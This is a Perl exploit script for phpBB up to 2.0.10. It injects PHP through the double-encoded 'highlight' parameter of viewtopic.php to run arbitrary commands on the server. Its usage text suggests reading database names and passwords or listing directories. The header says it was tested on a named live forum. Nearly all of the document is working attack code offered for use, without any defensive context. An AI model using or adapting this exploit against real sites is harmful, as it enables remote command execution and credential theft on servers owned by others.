#!/usr/bin/perl -w
#phpBB up to 2.0.10 remote command execution exploit, version 1.3.2
#Coded by Godfather (C) 2004-2006
#Additional code by RusH, Ramil
#
#Tested on local phpBB 2.0.10 and http://www.irony.ru/forum/

use IO::Socket;

$success = 0;

if (@ARGV != 4)
{
     print q(
#phpBB up to 2.0.10 remote command execution exploit by Godfather
#version 1.3.2
#Godfather (C) 2004-2006, Ramil (C) 2005
#usage: phpbb-210-gf.pl [URL] [DIR] [NUM] [CMD]
#params:
# [URL] - server url e.g. www.phpbb.com
# [DIR] - directory where phpBB installed e.g. /phpBB/ or /
# [NUM] - number of last existed topic
# [CMD] - command to execute e.g. $dbname, $dbpasswd,
#         ls%09-la or dir%09/a%09/b%09/ogn
#         (for space use symbol %09 instead of %20)
);
     exit;
}

$host = $ARGV[0];
$dir = $ARGV[1];
$topic = $ARGV[2];
$cmd   = $ARGV[3];

#$cmd =~ s/(.)/"%".uc(sprintf("%2.2x", ord($1)))/eg; #convert $cmd to %xx
$cmd =~ s/( )/%09/; #replace space to %09

$host =~ s/(http:\/\/)//eg;                         #remove http:// from $host
#$topic =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; #convert $topic to %xx

$path = $dir;
$path .= "viewtopic.php?t=";
$path .= $topic;
$path .= "&highlight=%2527.%24poster=";

#&highlight=%2527.$poster=$cmd.%2527

print "[~] Connecting to http://$host:80\n";

if(@ARGV == 4)
{
   print "[~] Reading socket..\n";
   $request .= $path;
   $request .= $cmd;
   $request .= ".%2527";
   print "[~] Requesting http://$host$request\n";
   $socket = IO::Socket::INET->new(Proto => "tcp",
                                   PeerAddr => $host,
                                   PeerPort => "80") || die "[-] Connection failed";
   $socket->autoflush(1);

   print $socket "GET $request HTTP/1.1\r\n";
   print $socket "Host: $host\n";
   print $socket "Accept: */*\n";
   print $socket "Http-Referer: http://www.microsoft.com\n";
   print $socket "User-Agent: Mozilla/4.7 [en] (Win95; I)\n";
   print $socket "Pragma: no-cache\n";
   print $socket "Cache-Control: no-cache\n";
   print $socket "Connection: close\n\n";

   $answer = $socket->accept();
   while ($answer = <$socket>)
   {
      #obtain string with between 'b>' or 'b]' and ')\b#i'
      if($answer =~ /b>(.+?)\)\\b#i/i)
      {   
         $exploit = $1;
         $success = 1;
      }
   }
   close $socket;
   goto end;
}
end:

if ($success == 1)
{
   print "[!] \$cmd : \n";
   print "$exploit\n";
   print "[+] Done!";
}
else
{
   print "[-] Exploit failed or answer is empty!";
}

### EOF ###